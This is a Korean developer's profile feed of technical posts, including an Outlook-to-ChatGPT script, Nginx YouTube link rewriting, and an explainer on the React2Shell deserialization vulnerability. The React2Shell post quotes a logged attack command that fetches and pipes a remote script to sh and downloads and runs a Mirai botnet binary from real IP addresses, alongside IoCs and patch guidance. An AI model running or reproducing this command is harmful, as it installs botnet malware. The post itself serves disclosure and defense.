Profile img

고남현

@gnh1201@hackers.pub · 1 following · 22 followers

Mastodon
@gnh1201@catswords.social
GitHub
@gnh1201

MS Outlook(메일 클라이언트)의 데이터를 ChatGPT로 보내기

고남현 @gnh1201@hackers.pub

주고받는 이메일 데이터에 AI를 활용하는 것에 대한 이야기가 나왔다.

하지만, 이걸 위해 메일 서버를 별도로 구축하거나, 메일 클라이언트와 검색 기능 등을 별도로 코딩하기에는 아무리 AI Code Generation을 쓴다고 해도, 쓸만한 결과물이 나오기까지의 과정이 여간 쉬운 일이 아니다.

결국, 이메일과 관련된 모든 기능이 이미 있는 "MS Office"에 붙어서 바로 코딩할 수 있는 JS 프레임워크를 이용하기로 했다.

MS Outlook의 메일을 AI로 분석하는 실제 예시

// Analyze Microsoft Outlook data with ChatGPT
// Require: WelsonJS framework (https://github.com/gnh1201/welsonjs)
// Workflow: Microsoft Outlook -> OpenAI -> Get Response
var Office = require("lib/msoffice");
var LIE = require("lib/language-inference-engine");

function main(args) {
    var prompt_texts = [];

    var keyword = "example.com";
    var maxCount = 10;
    var previewLen = 160;

    console.log("Searching mails by sender OR recipient contains: '" + keyword + "'.");
    console.log("This test uses Restrict (Sender/To/CC/BCC) + Recipients verification.");
    console.log("Body preview length: " + previewLen);

    var outlook = new Office.Outlook();
    outlook.open();
    outlook.selectFolder(Office.Outlook.Folders.Inbox);

    var results = outlook.searchBySenderOrRecipientContains(keyword);
    console.log("Printing search results. (max " + maxCount + ")");

    results.forEach(function (m, i) {
        var body = String(m.getBody() || "");
        var preview = body.replace(/\r/g, "").replace(/\n+/g, " ").substr(0, previewLen);
        
        var text = "#" + String(i) +
            " | From: " + String(m.getSenderEmailAddress()) +
            " | To: " + String(m.mail.To || "") +
            " | Subject: " + String(m.getSubject()) +
            " | Received: " + String(m.getReceivedTime());

        console.log(text);
        console.log("  Body: " + preview);
        
        // Add an email data to the prompt text context
        prompt_texts.push(text);
        
        // The body to reduce token usage and avoid sending overly large/sensitive content.
        var bodyForPrompt = body;
        var maxBodyLengthForPrompt = 2000; // Keep the body snippet short
        if (bodyForPrompt.length > maxBodyLengthForPrompt) {
            bodyForPrompt = bodyForPrompt.substring(0, maxBodyLengthForPrompt) + "...";
        }
        prompt_texts.push("  Body: " + bodyForPrompt);
    }, maxCount);

    outlook.close();

    // build a AI prompt text
    var instruction_text = "This is an email exchange between the buyer and me, and I would appreciate it if you could help me write the most appropriate reply.";
    prompt_texts.push(instruction_text);

    // complete the prompt text
    var prompt_text_completed = prompt_texts.join("\r\n");

    //console.log(prompt_text_completed);  // print all prompt text

    // get a response from AI
    var response_text = LIE.create().setProvider("openai").inference(prompt_text_completed, 0).join(' ');

    console.log(response_text);
}

exports.main = main;

실행 방법

1. CLI 사용

모든 작성 및 저장을 마친 후, 다음 명령을 통해 실행한다. (outlook_ai.js 파일로 저장했을 때.

cscript app.js outlook_ai

2. GUI 사용

모든 작성 및 저장을 마친 후, WelsonJS Launcher 앱을 통해 실행한다.

실행하면 어떤 결과가 나오는가?

메일 내용에는 개인정보가 포함되어 있으므로 예시는 따로 첨부하지 않았다.

위 코드의 작업이 성공하면 메일 내용이 출력되면서, OpenAI 서버에서 분석을 마친 결과값을 얻어올 수 있다.

Read more →
0

코드를 한 줄도 안 짰는데, 최고의 개발자로 평가받았다

고남현 @gnh1201@hackers.pub

코드를 한 줄도 안 짰는데, 최고의 개발자로 평가받았다

최근(정확하게는 작년 7월쯤) 한 사람이 실리콘밸리 회사를 포함해 많게는 60여 개의 회사에 동시에 취업해 일했다는 이야기가 화제가 되었다. 놀라운 점은 그가 여러 회사를 속였다는 사실이 아니라, 오히려 각 회사에서 “일을 정말 잘한다”는 평가를 받았다는 점이었다. 더 어처구니없는 사실은, 그가 실제로는 코드를 거의, 혹은 전혀 작성하지 않았다는 것이다.

그의 직함은 분명 프로그래머였다. 채용 공고 역시 프로그램을 작성할 사람을 찾고 있었다. 그러나 실무에 투입된 뒤 그가 한 일은 코드 작성이 아니라 방향 제시, 구조 정리, 기술 선택에 대한 조언, 그리고 갈등 중재였다. 말하자면 그는 개발자가 아니라 컨설턴트처럼 일했다. 그런데 결과적으로 팀의 생산성은 올라갔고, 프로젝트는 이전보다 더 잘 굴러갔다.

이 기묘한 상황은 개인의 기지나 편법 때문이 아니라, 현대 소프트웨어 조직이 안고 있는 구조적인 모순을 드러낸다.

회사는 정말로 ‘코드를 짜는 사람’을 원했을까

많은 회사가 개발자를 채용할 때 “무엇을 만들 사람인가”보다 “어떤 직무명을 가진 사람인가”를 먼저 적는다. 백엔드 개발자, 시니어 엔지니어, 풀스택 개발자 같은 익숙한 단어들이 채용 공고를 채운다. 그러나 실제로 현장에 들어가 보면 문제는 코드에 있지 않은 경우가 훨씬 많다.

무엇을 만들어야 할지 내부 합의가 없고, 기술 선택에 대한 책임을 누구도 지고 싶어 하지 않으며, 기존 시스템은 누더기처럼 얽혀 있다. 개발자들은 각자 옳은 말을 하지만, 결정은 나지 않는다. 이때 회사에 진짜로 필요한 사람은 코드를 잘 짜는 사람이 아니라, 결정을 내려주고 방향을 정해주는 사람이다.

그 사례의 주인공은 바로 이 공백을 정확히 채웠다. 그는 코드를 쓰지 않았지만, 쓸 필요 없는 코드를 줄였고, 잘못된 선택을 미리 막았으며, 팀이 앞으로 나아갈 수 있도록 정리해 주었다. 회사 입장에서는 그 어떤 개발자보다 “일을 잘하는 사람”처럼 보일 수밖에 없었다.

가장 가치 있는 코드는 ‘안 써도 된 코드’다

소프트웨어 개발에서 가장 큰 손실은 느린 타이핑이 아니라 잘못된 방향이다. 필요 없는 기능을 만드는 데 들어간 시간, 나중에 갈아엎어야 할 구조를 유지하느라 소모되는 에너지, 아무도 책임지지 않는 설계 결정들이 프로젝트를 망친다.

컨설턴트형 인력은 바로 이 지점을 건드린다. “이 기능은 지금 만들 필요가 없다”, “이 문제는 기술 문제가 아니라 조직 문제다”, “이 구조로 가면 반드시 다시 고치게 된다”는 말을 할 수 있는 사람은 코드 생산량으로는 측정되지 않지만, 결과에는 결정적인 영향을 미친다.

그 사람이 동시에 여러 회사에서 일할 수 있었던 이유도 여기에 있다. 각 회사는 하루 여덟 시간을 모두 가져간 것이 아니라, 결정이 막히는 순간에 필요한 ‘판단력’을 빌린 것이었다.

채용 공고는 문제를 말하지 못한다

만약 회사가 솔직하게 채용 공고를 쓸 수 있다면 이렇게 적혀야 할지도 모른다.

“우리는 무엇을 해야 할지 잘 모르겠습니다. 내부에 의견 충돌이 많고, 누군가 정리해 주길 원합니다.”

하지만 현실에서는 그럴 수 없으니, 프로그래머라는 이름으로 사람을 찾는다. 그 결과 코드 작성자를 뽑았다고 생각했지만, 사실은 컨설턴트가 더 잘 맞는 자리에 개발자를 앉혀두는 일이 반복된다.

이번 사례는 그 불일치가 극단적으로 드러난 사건일 뿐이다.

불편하지만 피할 수 없는 결론

이 이야기가 많은 개발자에게 불편하게 느껴지는 이유는 분명하다. 우리는 오랫동안 “코딩을 잘하면 인정받는다”고 믿어왔기 때문이다. 그러나 현실의 많은 조직에서 가장 희소한 자원은 코딩 능력이 아니라 문제 정의 능력, 판단력, 그리고 책임지고 결정하는 용기다.

이 사건은 사기극이라기보다, 회사들이 스스로 무엇이 필요한지 정확히 알지 못했다는 증거에 가깝다. 그리고 그 틈을 정확히 읽어낸 사람이, 코드를 한 줄도 쓰지 않고도 최고의 개발자로 평가받았다.

어처구니없어 보이지만, 이것이 지금의 소프트웨어 산업이 서 있는 위치다.

Read more →
8

ActivityPub 서버에서 YouTube 추적 링크 방지하기

고남현 @gnh1201@hackers.pub

ActivityPub 서버에서 YouTube 추적 링크 방지하기

ActivityPub 서버에 공유되는 YouTube 링크는 종종 사용자들 사이에서 개인정보 보호 측면의 우려 사항으로 언급됩니다. 이는 공유된 URL에 포함된 si 파라미터나, YouTube 웹사이트 자체에 내장된 다양한 추적 기술 등 방문자를 추적하는 데 사용될 수 있는 여러 기술적 메커니즘 때문입니다.

현실적으로 볼 때, ActivityPub 프로토콜을 구현하는 프로젝트들이 이 문제에 대해 기본 제공 해결책을 제시할 가능성은 낮습니다. 이는 YouTube라는 특정 서비스에 국한된 문제가 아니라, 보다 광범위한 웹 추적 문제에 해당하기 때문입니다.

그럼에도 불구하고, 서버 관리자는 서버 차원에서 이러한 우려를 완화하기 위한 실질적인 조치를 취할 수 있습니다.

1. 대체 YouTube 프론트엔드 사용

YouTube로 직접 연결하는 대신, 개인정보 보호에 더 우호적인 대체 프론트엔드 사용을 권장할 수 있습니다.

  • DNT-YT (권장 — 이 시나리오를 위해 특별히 설계됨)
  • Piped
  • Invidious

이러한 프론트엔드들은 영상 접근성을 유지하면서도 추적을 줄이거나 제거하는 데 도움을 줍니다.

2. Nginx sub_filter를 사용한 링크 재작성

대체 프론트엔드를 설정한 이후에는, Nginx의 sub_filter 기능을 사용하여 YouTube 링크를 투명하게 재작성할 수 있습니다. 이를 통해 사용자가 원본 YouTube URL에 직접 접근하는 것을 방지하고, 대신 대체 프론트엔드를 통해 영상을 보도록 유도할 수 있습니다.

예시 설정은 다음과 같습니다.

sub_filter 'www.youtube.com/' 'dnt-yt.catswords.net/';
sub_filter 'youtube.com/' 'dnt-yt.catswords.net/';
sub_filter 'www.youtu.be/' 'dnt-yt.catswords.net/';
sub_filter 'youtu.be/' 'dnt-yt.catswords.net/';

결과

youtube.com 또는 youtu.be로 연결되는 링크가 일관되게 대체 프론트엔드 주소로 변경되는 것이 확인되면, 설정은 완료된 것입니다.

이 접근 방식을 실제로 적용한 사례는 아래 링크에서 확인할 수 있습니다.

https://catswords.social/@gnh1201/115801692643125819

Read more →
5
1

React2Shell 취약점의 특성을 알아보자

고남현 @gnh1201@hackers.pub

React2Shell 취약점이란?

외부에서 수신된 특정한 규격에 따라 구조적으로 작성된 데이터를 처리한다면, 공격자가 어떠한 의도를 가지고 있다면 데이터를 보낼 때 실행 가능한 악의적 코드를 같이 넣어 보낼 가능성을 배제할 수 없다.

이것이 보안 약점이 되지 않기 위해선 이러한 공격자의 의도를 막아야하지만, React2Shell (CVE-2025-55182) 취약점은 이러한 공격자의 의도를 막지 못하고 실행을 무제한 허용하는 방법이 발견된 것이다.

특정한 규격에 따라 구조적으로 작성된 데이터를 처리하는 과정을 일컫는 용어를 "역직렬화"(Deserialization)이라고 한다.

특정한 규격은 잘 알려진 JSON, XML, YAML가 될 수도 있고, 자체 규격이 될 수도 있고, 혼합형이 될 수도 있다. React2Shell 취약점은 혼합형(JSON + aka. Flight)을 사용하였다.

자체 규격(aka. Flight)이 JavaScript로 정의된 객체의 성격을 임의로 변경(Prototype 개념 상 존재하는 생성자 수준의 속성(__proto__, constructor)에 접근하여 객체의 성격을 임의로 바꿀 수 있음)하는데 필요한 접근성을 가지고 있었기에 가능한 것이었다.

역직렬화(Deserialization) 과정은 왜 위험한가?

실무적으로 역직렬화 과정이 위험해지는 이유는 다음과 같다.

  1. 데이터 교환 포맷은 자료형에 엄격하지 않다: 원활한 데이터 교환이 최우선이라는 목적에 만족하기 위해 엄격한 자료형(Type-safe)을 사용하도록 설계하지 않는다. 이것은 자료형 혼란(Type Confusion)을 기반으로 한 다양한 방식의 탈옥 시도를 가능케해주는 단서가 되기도 한다.
  2. 특정 단어 또는 특정 기호가, 특정 작업을 수행하는 신호탄(Trigger) 역할을 한다: 특정 특정 단어 또는 특정 기호에 의해 촉발되는 특정 작업의 유효성 검증 절차가 미흡하며 해당 어플리케이션의 범위를 벗어나 시스템으로 권한 상승과 명령 실행을 허용하는 통로가 된다. 실무적으로 가장 비중이 높은 유형이다.
  3. 미리 식별되지 못한 예약어가 있을 수 있다: 드물지만 특정 언어, 특정 프레임워크, 특정 라이브러리, 또는 특정 펌웨어 등 연관된 의존성에서 명확하게 식별되지 못한 예약어(단어, 기호)를 처리하는 구현이 존재할 가능성도 있다. 이는 특정 조건이 맞으면 발현될 가능성이 있다.

이 외에도 역직렬화 과정은 유사한 여러 취약 가능성을 가지고 있기 때문에, 역직렬화 과정을 보호하기 위한 여러 보완 장치의 구현이 필요하다.

알려진 역직렬화 취약점 사례 (언어 및 생태계별)

역직렬화 취약점이 어떤 성격을 가지는 취약점인지 빠르게 이해하기 위해선, 역직렬화 취약점과 연관이 있는 취약점 사례와 공통적인 특징을 살펴볼 수 있다. 그 사례는 다음과 같다.

언어 / 생태계역직렬화 취약점 사례주요 공통점
JavaCVE-2021-44228 (Log4Shell), CVE-2017-9805 (Apache Struts2 REST), CVE-2020-8840 (jackson-databind)외부 입력이 객체 생성·역직렬화 경로(JNDI, XML/JSON 바인딩) 로 유입되어 gadget chain 또는 원격 클래스 로딩을 통해 RCE 발생
.NET (C# / VB.NET)CVE-2019-18935 (Telerik UI), CVE-2025-53690 (Sitecore ViewState), CVE-2020-25258 (Hyland OnBase)BinaryFormatter·ViewState 등 레거시 역직렬화 포맷을 신뢰하여 임의 타입 로딩·코드 실행
PythonCVE-2017-18342 (PyYAML unsafe load), CVE-2024-9701 (Kedro ShelveStore), CVE-2024-5998 (LangChain FAISS)pickle·unsafe YAML 로더 사용으로 역직렬화 자체가 실행 트리거
PHP (WP)CVE-2023-6933 (Better Search Replace), CVE-2025-0724 (ProfileGrid), CVE-2024-5488 (SEOPress)unserialize() / maybe_unserialize()에 사용자 입력이 전달되어 PHP Object Injection(POP chain) 발생
RubyCVE-2013-0156 (Rails YAML.load), CVE-2020-10663 (RubyGems Marshal)YAML.load·Marshal.load 사용 시 임의 객체 생성 → 코드 실행
JavaScript / Node.jsCVE-2025-55182 (React2Shell), CVE-2020-7660 (serialize-javascript)구조 복원·객체 재구성 로직이 신뢰되지 않은 입력을 코드/객체로 해석
GoCVE-2022-28948 (go-yaml Unmarshal), CVE-2020-16845 (HashiCorp Consul)Unmarshal 단계에서 입력 검증 부족 → 구조체 복원 기반 로직 붕괴·DoS
RustGHSA-w428-f65r-h4q2 (serde_yaml / unsafe deserialization, CVE-2021-45687)메모리 안전과 무관하게 serde 기반 역직렬화에서 신뢰되지 않은 데이터가 내부 타입으로 복원되어 로직 오염·DoS·잠재적 코드 실행 위험
Kotlin / AndroidCVE-2024-43080 (Android) / CVE-2024-10382 (Android Car)Intent/Bundle/IPC 역직렬화 시 타입·검증 미흡 → 권한 상승·DoS
C / C++CVE-2024-8375 (Google Reverb, Related to gRPC and protobuf)Unpack 과정에서 데이터타입(VARIANT), vtable 포인터 오염 등 무결성 검증 부족
Swift / iOSCVE-2021-32742 (Vapor)외부 입력을 디코딩/객체 복원 시 신뢰 경계 붕괴 → DoS·정보 노출
산업용 (ICS/OT)CVE-2024-12703, CVE-2023-27978 (Schneider Electric), CVE-2025-2566 (Kaleris Navis N4), CVE-2023-32737 (Siemens SIMATIC)프로젝트 파일·관리 서버 입력을 신뢰된 내부 데이터로 가정하고 역직렬화 → RCE 및 물리 시스템 영향 가능

역직렬화 취약점은 언어와 환경을 가리지 않고 다양하게 나타나고 있으며, 발견된 역직렬화 취약점은 취약점 점수(CVSS 3.x)에서도 8.0에서 10.0 범위의 매우 높은 점수를 받고 있다.

이제 사전 정보 없이도 공격 특성을 읽을 수 있다.

역직렬화 취약점이 어떤 공통적인 특성을 가지는지 설명했으니, 이제 React2Shell 공격의 개념증명(PoC)에서 보인 공격 특성을 사전 정보(공격 대상인 RSC의 내부 이해)가 없이도 어느정도 파악할 수 있다.

여기 각각 JavaScript와 Python으로 작성된 주요 공격 개념증명 코드가 있다.

  • https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc/blob/main/01-submitted-poc.js
  • https://github.com/msanft/CVE-2025-55182/blob/main/poc.py

여기서 알 수 있는 정보는 다음과 같다.

  1. 잘 알려진 포맷(JSON 등)과 함께 보이는 Colon-sperated String과 같은 패턴은 활용 분야에 따라 Micro-operations, Opcodes 등의 용어로 불리며, 비실행 포맷을 최소 명령 실행이 가능한 포맷으로 활용하겠다는 의도를 나타낸다. 구현 시 무결성에 주의를 더 기울이지 않으면 역직렬화 취약점을 불러들이는 좋은 복선이 된다.
  2. 생성자 수준의 키워드 (__proto__, constructor )를 통해 Prototype을 변조할 수 있는 접근성을 가지고 있다는 것을 알 수 있다. 용어로는 "JavaScript prototype pollution"라고 한다.
  3. then 키워드를 통해 공격 대상 내부에 존재하는 Promise 객체에 붙겠다(또는 새로운 Promise 객체를 만들겠다)는 의도를 확인할 수 있다.
  4. 페이로드의 value 필드 값이 아직 역직렬화 되기 전의 문자열 형태의 JSON인 것으로 봤을 때, 공격 대상 내부에서 JSON.parse 메소드의 호출을 예상할 수 있다.
  5. 공격 코드로 보이는 _response._prefix 의 주입은 then 키워드가 등장하는 위치와 최대한 가까운 곳에서 일어나야 한다. 그래야 Promise 객체가 공격 코드를 트리거할 수 있기 때문이다.
  6. 결국 JSON 역직렬화 과정이 일어나면서, then 속성을 가지면서, 공격 코드를 수용할 수 있는 가장 연관성 높은 표현이라는 점을 모두 만족하는 부분은 {"then": "$Bx"}라는 것을 알 수 있다. $Bx를 처리하는 과정 중 (또는 $Bx가 처리한 결과에 대한 사후) 검증이 부족하다는 의미이다.
  7. 공격 절차에 포함되는 Next-Action 헤더는 애초에 이 취약점의 원인이 된 어떤 기능을 켜고 끄는 것에 관한 것임을 예상할 수 있다. 개발된 앱에 존재하는 유효한 액션에 대한 Key를 알 수 있다면 그 액션의 실행을 요청함으로서 공격 코드 또한 실행할 수 있을 것이다.

공격자는 이 취약점을 이용해서 뭘하나?

Catswords OSS로 제보된 내용에 따르면, React2Shell에 노출된 서버는 이런 명령이 들어온다고 한다. 한 회원이 학습용으로 구축한 React 서버에서 발견된 로그이다.

(busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh; \
 cd /dev; \
 busybox wget http://31.56.27.76/n2/x86; \
 chmod 777 x86; \
 ./x86 reactOnMynuts)

이 파일의 정체는 Mirai botnet이라 부르는 계열의 악성코드이다. React2Shell에 취약한 서버들은 이런 악성코드들을 서버에 주입받게 된다.

그럼 이 악성코드의 명성(?)은 어느정도일지 한번 체크해보자.

  • https://www.virustotal.com/gui/file/858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (33/65 security vendors flagged this file as malicious)

(그래 너 나쁜거 알았으니 그만 알아보자)

관련 IoC 는 다음과 같다.

  • 3ba4d5e0cf0557f03ee5a97a2de56511 (MD5)
  • 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (SHA256)
  • http://193.34.213.150/nuts/bolts (URL)
  • http://31.56.27.76/n2/x86 (URL)

범용 botnet이 설치되기 때문에 사실상 DDoS 공격 등 다양한 목적으로 악용되는 서버가 된다.

추가 분석은 아래 링크에서 확인할 수 있다.

  • https://www.mbsd.jp/research/20251211/react2shell/
  • https://www.bitdefender.com/en-us/blog/labs/cve-2025-55182-exploitation-hits-the-smart-home

이 공격을 어떻게 완화해야할까?

버전 업데이트로 해결하기

Next.js를 사용하는 서버라면 취약점이 해결된 버전으로 업데이트하여야 한다. Next.js의 개발사 Vercel은 취약한 버전에 대해 다음과 같이 안내하고 있다.

Vulnerable version Patched release
Next.js 15.0.x 15.0.5
Next.js 15.1.x 15.1.9
Next.js 15.2.x 15.2.6
Next.js 15.3.x 15.3.6
Next.js 15.4.x 15.4.8
Next.js 15.5.x 15.5.7
Next.js 16.0.x 16.0.10
Next.js 14 canaries after 14.3.0-canary.76 Downgrade to 14.3.0-canary.76 (not vulnerable)
Next.js 15 canaries before 15.6.0-canary.58 15.6.0-canary.58
Next.js 16 canaries before 16.1.0-canary.12 16.1.0-canary.12 and after

혹여 업데이트에 곤란을 겪고 있는 경우, Vercel에서 공식 제공하는 패치 도구를 활용하는 것도 좋은 방법이 될 수 있다.

  • https://github.com/vercel-labs/fix-react2shell-next

방화벽(WAF 등) 규칙의 개선으로 완화하기

Next-Action 헤더 + 시스템 OS 명령어 + 자바스크립트의 Array 또는 Object 관련 메소드, 이렇게 3요소가 같은 요청에 동시에 들어있는건 흔한 상황은 아니라는 점을 고려해서 차단 규칙을 만드는 것도 방법이 될 수 있다.

Read more →
1

서버 운영자라면 꼭 들어야할 개인정보보호 교육 안내

해를 넘기기 전에 들어서 수료증 꼭 받아두세요.

(2025년 기준)

  1. 개인정보배움터 (개인정보보호위원회) 가입: https://edu.privacy.go.kr/

  2. "사업자 온라인교육" 클릭

  3. "AI 투명성 확보 및 개인정보보호 가이드" 강의 청취 후 수료증 발급

  4. 서버 이용 가이드 등 별도 문서에 수료증 링크해두기

불특정 다수를 상대로 서비스 하고 계시고, 주 서비스 지역 및 이용자가 한국인 경우 꼭 들어두세요.

2

서버 운영자라면 꼭 들어야할 개인정보보호 교육 안내

해를 넘기기 전에 들어서 수료증 꼭 받아두세요.

(2025년 기준)

  1. 개인정보배움터 (개인정보보호위원회) 가입: https://edu.privacy.go.kr/

  2. "사업자 온라인교육" 클릭

  3. "AI 투명성 확보 및 개인정보보호 가이드" 강의 청취 후 수료증 발급

  4. 서버 이용 가이드 등 별도 문서에 수료증 링크해두기

불특정 다수를 상대로 서비스 하고 계시고, 주 서비스 지역 및 이용자가 한국인 경우 꼭 들어두세요.

0

압축 요청 헤더 지원 여부에 따른 HTTP Client 이중화

고남현 @gnh1201@hackers.pub

이 글에서는 .NET 환경에서 HTTP를 통한 파일 전송 시 압축을 활용하여 로딩 시간을 단축하는 방법에 대해 설명합니다. 특히, `Accept-Encoding` 헤더를 이용한 압축 요청이 서비스별로 다르게 처리될 수 있는 문제점을 지적하고, 이를 해결하기 위해 HTTP Client를 이중화하는 방법을 제시합니다. 미리 압축된 파일을 우선적으로 다운로드하고, 실패 시 압축 요청 헤더를 포함한 요청을 보내는 방식으로 압축 전송을 보장합니다. 실제 적용 사례인 `AssemblyLoader.cs` 파일의 예시를 통해, 이 방법이 어떻게 라이브러리 로딩 속도를 향상시키는지 확인할 수 있습니다. 이 글은 네트워크를 통한 라이브러리 로딩 시 안정성 확보와 성능 향상을 동시에 추구하는 개발자에게 유용한 인사이트를 제공합니다.

Read more →
1

고남현 replied to the below article:

DLL을 JS 처럼 import 단계에서 네트워크로 동적 로딩하기

고남현 @gnh1201@hackers.pub

이 글은 .NET 기반 Windows 앱 개발 시 발생하는 "DLL Hell" 문제를 해결하기 위한 새로운 접근 방식을 소개합니다. 기존의 어셈블리 병합 방식 대신, 네트워크에서 동적으로 어셈블리를 로드하는 방법을 제안합니다. C#의 `using` 키워드 해결 과정에 개입하여 CDN(Azure Blob Storage)을 통해 어셈블리를 로드하고, 코드 서명 검증을 통해 보안을 강화합니다. .NET IL뿐만 아니라 네이티브 어셈블리 로딩도 지원하며, 실제 코드 예시를 통해 구현 방법을 설명합니다. 이 방법은 배포 시 추가 어셈블리 누락으로 인한 오류를 방지하는 데 도움을 주지만, 여전히 추가 어셈블리를 함께 배포하는 것을 권장합니다. 이 글을 통해 개발자는 어셈블리 관리의 유연성을 높이고 잠재적인 배포 문제를 해결하는 데 도움이 되는 유용한 정보를 얻을 수 있습니다.

Read more →
6
0

DLL을 JS 처럼 import 단계에서 네트워크로 동적 로딩하기

고남현 @gnh1201@hackers.pub

이 글은 .NET 기반 Windows 앱 개발 시 발생하는 "DLL Hell" 문제를 해결하기 위한 새로운 접근 방식을 소개합니다. 기존의 어셈블리 병합 방식 대신, 네트워크에서 동적으로 어셈블리를 로드하는 방법을 제안합니다. C#의 `using` 키워드 해결 과정에 개입하여 CDN(Azure Blob Storage)을 통해 어셈블리를 로드하고, 코드 서명 검증을 통해 보안을 강화합니다. .NET IL뿐만 아니라 네이티브 어셈블리 로딩도 지원하며, 실제 코드 예시를 통해 구현 방법을 설명합니다. 이 방법은 배포 시 추가 어셈블리 누락으로 인한 오류를 방지하는 데 도움을 주지만, 여전히 추가 어셈블리를 함께 배포하는 것을 권장합니다. 이 글을 통해 개발자는 어셈블리 관리의 유연성을 높이고 잠재적인 배포 문제를 해결하는 데 도움이 되는 유용한 정보를 얻을 수 있습니다.

Read more →
6

고남현 shared the below article:

일본 서버를 한국과 거의 비슷한 속도로 원격 접속하기

고남현 @gnh1201@hackers.pub

이 글에서는 한국에서 일본 서버를 사용할 때 발생하는 네트워크 지연 문제를 다루고, 해저 케이블망을 활용하여 이를 개선하는 방법을 소개합니다. 저렴한 일본 서버를 선택했지만, 실제 한국에서의 통신 속도가 예상보다 훨씬 느린 250ms에 달해 미국 시애틀보다도 못한 상황을 겪었습니다. 하지만 Microsoft Azure의 한국 리전을 중간 서버로 활용하여 데이터 센터 간 통신을 시도한 결과, 핑 시간을 30ms대로 크게 단축시키는 데 성공했습니다. 이는 86%의 속도 향상으로, RDP를 통해 원격 데스크탑을 사용하는 환경에서 체감 속도를 극적으로 개선했습니다. 이 글은 해외 서버를 사용할 때 네트워크 지연을 줄이는 실질적인 해결책을 제시하며, 독자에게 더 빠르고 효율적인 원격 작업 환경을 구축하는 데 도움을 줄 수 있습니다.

Read more →
8
1
0

일본 서버를 한국과 거의 비슷한 속도로 원격 접속하기

고남현 @gnh1201@hackers.pub

이 글에서는 한국에서 일본 서버를 사용할 때 발생하는 네트워크 지연 문제를 다루고, 해저 케이블망을 활용하여 이를 개선하는 방법을 소개합니다. 저렴한 일본 서버를 선택했지만, 실제 한국에서의 통신 속도가 예상보다 훨씬 느린 250ms에 달해 미국 시애틀보다도 못한 상황을 겪었습니다. 하지만 Microsoft Azure의 한국 리전을 중간 서버로 활용하여 데이터 센터 간 통신을 시도한 결과, 핑 시간을 30ms대로 크게 단축시키는 데 성공했습니다. 이는 86%의 속도 향상으로, RDP를 통해 원격 데스크탑을 사용하는 환경에서 체감 속도를 극적으로 개선했습니다. 이 글은 해외 서버를 사용할 때 네트워크 지연을 줄이는 실질적인 해결책을 제시하며, 독자에게 더 빠르고 효율적인 원격 작업 환경을 구축하는 데 도움을 줄 수 있습니다.

Read more →
8
1
0

고남현 replied to the below article:

jQuery로 SPA 앱 최소 구현하기

고남현 @gnh1201@hackers.pub

이 글은 jQuery만을 사용하여 SPA(Single-page application)를 구현하는 방법을 소개합니다. React나 Vue와 같은 현대적인 프레임워크 없이도 jQuery와 몇 가지 유용한 라이브러리(URI.js, jQuery Form, jsRender)를 활용하여 SPA를 구축할 수 있음을 보여줍니다. 핵심은 `$.fn.App` 객체를 통해 라우팅 규칙, 템플릿 렌더링, 데이터 연결을 처리하는 것입니다. 특히 `pushState`와 `popState`를 사용하여 브라우저의 히스토리 관리를 구현, 일반 웹사이트와 유사한 탐색 경험을 제공합니다. 이 글은 SPA 개발 경험이 없는 개발자가 주류 프레임워크의 작동 방식을 이해하는 데 도움을 줄 뿐만 아니라, jQuery 환경에서 SPA를 구축해야 하는 상황에 대한 실질적인 해결책을 제시합니다.

Read more →
0

클릭 초기화를 빼먹었네. 다음과 같이 하면 돼.

        // (...omitted...)
        "initClicks": function(_options) {
            return function(e) {
                if($(this).attr("href").indexOf(":/") < 0) {
                    e.preventDefault();
                    $().App.renderTemplate($(this).attr("href"), $().App.routes, false, _options);
                }
            }
        },
        // (...omitted...)

읽어줘서 고마워 :)

0

jQuery로 SPA 앱 최소 구현하기

고남현 @gnh1201@hackers.pub

이 글은 jQuery만을 사용하여 SPA(Single-page application)를 구현하는 방법을 소개합니다. React나 Vue와 같은 현대적인 프레임워크 없이도 jQuery와 몇 가지 유용한 라이브러리(URI.js, jQuery Form, jsRender)를 활용하여 SPA를 구축할 수 있음을 보여줍니다. 핵심은 `$.fn.App` 객체를 통해 라우팅 규칙, 템플릿 렌더링, 데이터 연결을 처리하는 것입니다. 특히 `pushState`와 `popState`를 사용하여 브라우저의 히스토리 관리를 구현, 일반 웹사이트와 유사한 탐색 경험을 제공합니다. 이 글은 SPA 개발 경험이 없는 개발자가 주류 프레임워크의 작동 방식을 이해하는 데 도움을 줄 뿐만 아니라, jQuery 환경에서 SPA를 구축해야 하는 상황에 대한 실질적인 해결책을 제시합니다.

Read more →
0

고남현 replied to the below article:

CSI Cyber 에피소드 정리 (1화 - 4화)

고남현 @gnh1201@hackers.pub

CSI Cyber 1화부터 4화까지의 주요 내용을 요약하면 다음과 같습니다. 1화에서는 홈 카메라 해킹을 통해 아이가 납치되는 충격적인 사건을 다루며 C&C 서버, 펌웨어, 악성코드 등 정보보안의 주요 개념을 소개합니다. 2화에서는 롤러코스터 프로포즈 중 벌어진 폭발 사고를 통해 블루투스 해킹, 하드웨어 해킹, 산업제어시설 해킹의 위험성을 경고합니다. 3화에서는 택시 호출 기록의 미스터리를 통해 악의적으로 설치된 공개 와이파이의 위험성을 보여줍니다. 마지막으로 4화에서는 IoT 해킹으로 인해 집 전체가 화염에 휩싸이는 사건을 통해 적절한 보안 처리가 되어있지 않은 와이파이의 위험성을 강조합니다. 이 드라마는 현실적인 정보보안 문제를 흥미롭게 풀어내어 시청자들에게 보안의 중요성을 일깨워줍니다.

Read more →
2
0

CSI Cyber 에피소드 정리 (1화 - 4화)

고남현 @gnh1201@hackers.pub

CSI Cyber 1화부터 4화까지의 주요 내용을 요약하면 다음과 같습니다. 1화에서는 홈 카메라 해킹을 통해 아이가 납치되는 충격적인 사건을 다루며 C&C 서버, 펌웨어, 악성코드 등 정보보안의 주요 개념을 소개합니다. 2화에서는 롤러코스터 프로포즈 중 벌어진 폭발 사고를 통해 블루투스 해킹, 하드웨어 해킹, 산업제어시설 해킹의 위험성을 경고합니다. 3화에서는 택시 호출 기록의 미스터리를 통해 악의적으로 설치된 공개 와이파이의 위험성을 보여줍니다. 마지막으로 4화에서는 IoT 해킹으로 인해 집 전체가 화염에 휩싸이는 사건을 통해 적절한 보안 처리가 되어있지 않은 와이파이의 위험성을 강조합니다. 이 드라마는 현실적인 정보보안 문제를 흥미롭게 풀어내어 시청자들에게 보안의 중요성을 일깨워줍니다.

Read more →
2

